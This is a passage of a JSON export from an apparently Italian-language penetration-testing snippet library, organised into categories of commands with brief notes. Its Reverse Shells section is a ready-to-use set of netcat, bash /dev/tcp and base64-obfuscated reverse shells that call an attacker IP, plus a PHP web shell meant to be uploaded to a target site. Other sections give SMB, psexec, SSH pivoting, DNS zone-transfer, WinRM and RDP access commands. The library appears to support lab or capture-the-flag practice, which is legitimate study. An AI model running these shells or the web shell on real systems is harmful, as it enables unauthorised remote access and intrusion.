Snip","title":null,"description":"Netcat per Windows\\nScaricare nc64.exe da github -> vedi nota","code":"nc64.exe -e cmd.exe $attackerIp $attackerPort ","order_in_cat":2,"is_main":1,"pen_element_related_id":117,"related_snip_ids":[]},{"id":17,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Reverse shell bash codificata in base64\\nCreare la stringa con \\necho \"bash -c 'bash -i >& /dev/tcp/10.10.16.5/4448 0>&1'\" | base64","code":"echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41LzQ0NDggMD4mMScK | base64 -d | bash 2>/dev/null","order_in_cat":3,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":15,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Reverse shell netcat","code":"nc -e /bin/sh $attackerIp $attackerPort\\n","order_in_cat":4,"is_main":0,"pen_element_related_id":103,"related_snip_ids":[]},{"id":16,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Reverse shell bash con opzione -c","code":"bash -c 'bash -i >& /dev/tcp/$attackerIp/$attackerPort 0>&1'","order_in_cat":5,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":104,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Listening netcat\\nrlwrap permette di usare tasti freccia nella shell\ncredo voglia dire right left wrap","code":"rlwrap nc -lvnp $attackerPort","order_in_cat":6,"is_main":1,"pen_element_related_id":103,"related_snip_ids":[109]},{"id":105,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Stabilizzare la shell tty","code":"SHELL=/bin/bash script -q /dev/null","order_in_cat":7,"is_main":1,"pen_element_related_id":103,"related_snip_ids":[111]},{"id":103,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Reverse shell bash","code":"/bin/bash -i > /dev/tcp/$attackerIp/$attackerPort 2>&1 0>&1","order_in_cat":8,"is_main":1,"pen_element_related_id":103,"related_snip_ids":[15,16,17]},{"id":29,"category":"Reverse Shells","language":"Script PHP","title":null,"description":"Reverse shell php (proc_open)\\nCaricare la shell sul sito come shell.php, mettersi in ascolto e andare sulla pagina","code":"<?php\\n$sock = fsockopen(\"$attackerIp\",$attackerPort);\\n$proc = proc_open(\"/bin/sh -i\", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);\\n?>","order_in_cat":9,"is_main":1,"pen_element_related_id":103,"related_snip_ids":[94]},{"id":62,"category":"Reverse Shells","language":"Standard Snip","title":null,"description":"Script in linguaggio Racket da salvare in shell.plt","code":"cmdout = system(\"bash -c 'bash -i >& /dev/tcp/$attackerIp/$attackerPort 0>&1'\")\nprint cmdout","order_in_cat":10,"is_main":1,"pen_element_related_id":102,"related_snip_ids":[]},{"id":85,"category":"Script Swift","language":"Script Swift","title":null,"description":"Script Swift\\nStampa hello","code":"for i in 1...8{\\n    print(\"hello pentesting \\(i)\")\\n}","order_in_cat":0,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":96,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione a client anonimi\\n-N posso toglierlo se non si connette","code":"smbclient -L -N //$targetIp/","order_in_cat":0,"is_main":0,"pen_element_related_id":95,"related_snip_ids":[]},{"id":92,"category":"Services","language":"Standard Snip","title":null,"description":"Richiesta per DNS server - porta 53\\nany -> tutti i record\\nns -> record di dominio\\nmx -> mail","code":"dig any inlanefreight.htb @$targetIp","order_in_cat":1,"is_main":0,"pen_element_related_id":188,"related_snip_ids":[]},{"id":91,"category":"Services","language":"Standard Snip","title":null,"description":"Richiesta per DNS server - porta 53\\naxfr se abilitato mostra domini interni","code":"dig axfr inlanefreight.htb @$targetIp","order_in_cat":2,"is_main":0,"pen_element_related_id":188,"related_snip_ids":[]},{"id":90,"category":"Services","language":"Standard Snip","title":null,"description":"Richiesta per DNS server - porta 53\\n-x reverse lookup: mi da il nome del dominio dall'ip","code":"dig -x $targetIp @$targetIp","order_in_cat":3,"is_main":1,"pen_element_related_id":188,"related_snip_ids":[91,92]},{"id":58,"category":"Services","language":"Standard Snip","title":null,"description":"PSEXEC di IMPACKET\\nper ottenere una shell con smb\\n[password] è opzionale, se non la metto posso mettere\\nuser@targetIp","code":"python3 /usr/share/doc/python3-impacket/examples/psexec.py user[:password]@$targetIp","order_in_cat":4,"is_main":0,"pen_element_related_id":95,"related_snip_ids":[]},{"id":23,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione allo share notes \\n-U utente admin -> posso anche ometterlo\\nATTENZIONE: no -L altrimenti non si connette","code":"smbclient //$targetIp/notes -U admin","order_in_cat":5,"is_main":0,"pen_element_related_id":186,"related_snip_ids":[]},{"id":57,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione a directory verso windows","code":"sudo smbclient \\\\\\\\10.129.213.247\\\\C$ -U Administrator","order_in_cat":5,"is_main":0,"pen_element_related_id":95,"related_snip_ids":[]},{"id":56,"category":"Services","language":"Standard Snip","title":null,"description":"Provare sempre la lista con Administrator","code":"smbclient -L $targetIp -U Administrator","order_in_cat":6,"is_main":0,"pen_element_related_id":95,"related_snip_ids":[]},{"id":55,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione a una directory\\nRitorna la shell smb\\nsmb:> get nomefile.txt","code":"sudo smbclient \\\\\\\\$targetIp\\\\directory","order_in_cat":7,"is_main":0,"pen_element_related_id":95,"related_snip_ids":[]},{"id":106,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione anonima ad smb","code":"smbclient -N -L //$targetIp","order_in_cat":7,"is_main":0,"pen_element_related_id":186,"related_snip_ids":[]},{"id":54,"category":"Services","language":"Standard Snip","title":null,"description":"Lista delle cartelle messe a disposizione","code":"smbclient -L $targetIp -U user","order_in_cat":8,"is_main":1,"pen_element_related_id":95,"related_snip_ids":[23,55,56,57,58,96,106]},{"id":53,"category":"Services","language":"Standard Snip","title":null,"description":"Lo uso con il forwarding dinamico \\nssh -D 9050 user@targetIp\\nuna volta impostato e avviato il proxy dinamico posso lavorare come se lavorassi sul target basta che faccio precedere i comandi con proxychains","code":"/etc/proxychains4.conf -> socks4 127.0.0.1 9050\\nproxychains4 nmap -v -sn 172.16.5.1-200","order_in_cat":9,"is_main":0,"pen_element_related_id":106,"related_snip_ids":[]},{"id":52,"category":"Services","language":"Standard Snip","title":null,"description":"Reverse Port Forwarding per Servizi-> lo avvio dal target\\n- 1234 -> porta locale in localhost (localhost è sottinteso), dove espongo il servizio\\n- localhost:3306 -> è il servizio che gira sul target in localhost\\n- user@attackerIp connessione reverse alla macchina attaccante\\n-f -N non aprono la shell","code":"ssh -R 1234:localhost:3306 user@$attackerIp -f -N","order_in_cat":10,"is_main":0,"pen_element_related_id":106,"related_snip_ids":[]},{"id":51,"category":"Services","language":"Standard Snip","title":null,"description":"Reverse Port Forwarding per Pivoting-> lo avvio dal pivot intermedio \\n- 127.0.0.1:80 -> è il pivot intermedio con la porta esposta\\n- targetIp:80 -> è il target finale \\n- user@$attackerIp -> reverse connection alla mia macchina attaccante\\n-f -N non aprono la shell","code":"ssh -R 127.0.0.1:80:$targetIp:80 user@$attackerIp -f -N","order_in_cat":11,"is_main":0,"pen_element_related_id":106,"related_snip_ids":[]},{"id":50,"category":"Services","language":"Standard Snip","title":null,"description":"Dinamic Forwarding -> Viene scelta una singola porta e dinamicamente reindirizza tutto il traffico che riceve su quella porta verso l'host a cui mi connetto\\nATTENZIONE: PER FARLO FUNZIONARE DEVO IMPOSTARE PROXYCHAINS","code":"ssh -D 9050 user@$targetIp","order_in_cat":12,"is_main":0,"pen_element_related_id":null,"related_snip_ids":[]},{"id":46,"category":"Services","language":"Standard Snip","title":null,"description":"Local port forwarding per Pivoting-> dalla macchina attaccante \\n- 127.0.0.1:1234 -> porta nella macchina attaccante\\n- targetFinale:portFinale -> macchina target finale accessibile da pivot\\n- user@targetIp pivot a cui mi connetto\\n-f -N non aprono la shell\\nInfine mi connetto in locale a 127.0.0.1:1234","code":"ssh -L 127.0.0.1:1234:$targetFinale:$portFinale user@$targetIp -f -N","order_in_cat":13,"is_main":0,"pen_element_related_id":107,"related_snip_ids":[]},{"id":45,"category":"Services","language":"Standard Snip","title":null,"description":"Local port forwarding per Servizi -> lo attivo da macchina attaccante per fare il forwarding dei servizi locali sul target\\n- 1234 -> porta locale a cui connettermi\\n- 127.0.0.1:$targetPort -> porta sul target (localhost) su cui è il servizio\\n- user@targetIp -> mi connetto al target su cui gira il servizio\\n-f -N non aprono la shell","code":"ssh -L 1234:127.0.0.1:$targetPort user@$targetIp -f -N","order_in_cat":14,"is_main":0,"pen_element_related_id":107,"related_snip_ids":[]},{"id":44,"category":"Services","language":"Standard Snip","title":null,"description":"Per connessione con chiave privata (es. trovata in un server remoto)","code":"sudo ssh -i id_rsa user@$targetIp","order_in_cat":15,"is_main":0,"pen_element_related_id":93,"related_snip_ids":[]},{"id":43,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione con utente ad ssh","code":"ssh user@$targetIp","order_in_cat":16,"is_main":1,"pen_element_related_id":200,"related_snip_ids":[44,45,46,50,51,52,53]},{"id":42,"category":"Services","language":"Standard Snip","title":null,"description":"per caricare file in ftp","code":"put filename","order_in_cat":17,"is_main":0,"pen_element_related_id":185,"related_snip_ids":[]},{"id":41,"category":"Services","language":"Standard Snip","title":null,"description":"Per fare download di file in ftp","code":"get filename","order_in_cat":18,"is_main":0,"pen_element_related_id":185,"related_snip_ids":[]},{"id":40,"category":"Services","language":"Standard Snip","title":null,"description":"Connessione anonima ad FTP -> password anonymous\\nLa porta può essere omessa","code":"ftp anonymous@$targetIp","order_in_cat":19,"is_main":1,"pen_element_related_id":185,"related_snip_ids":[41,42]},{"id":101,"category":"Settings","language":"Standard Snip","title":null,"description":"Serve a correggere l'orologio\\noppure \\nsudo service ntpsec start","code":"sudo systemctl start ntp.service","order_in_cat":0,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":102,"category":"Windows","language":"Standard Snip","title":null,"description":"Connessione ad WinRM con certificato e key ottenuto con file .pxf (pkcs12) e openssl\\n-S per abilitare ssl ","code":"evil-winrm -c cert.pem -k key.pem -i $targetIp -S","order_in_cat":0,"is_main":0,"pen_element_related_id":206,"related_snip_ids":[]},{"id":121,"category":"Windows","language":"Standard Snip","title":null,"description":"Enumerazione target Windows da linux","code":"enum4linux -a $targetIp","order_in_cat":0,"is_main":1,"pen_element_related_id":null,"related_snip_ids":[]},{"id":84,"category":"Windows","language":"Standard Snip","title":null,"description":"Connessione ad WinRM","code":"evil-winrm -u user -p 'password' -i $targetIp","order_in_cat":1,"is_main":1,"pen_element_related_id":206,"related_snip_ids":[102]},{"id":37,"category":"Windows","language":"Standard Snip","title":null,"description":"Connessione ad RDP\\nPosso provare con una blank password.\\n/p:pass per specificarla","code":"xfreerdp /v:$targetIp /u:administrator","order_in_cat":2,"is_main":1,"pen_element_related_id":205,"related_snip_ids":[]}]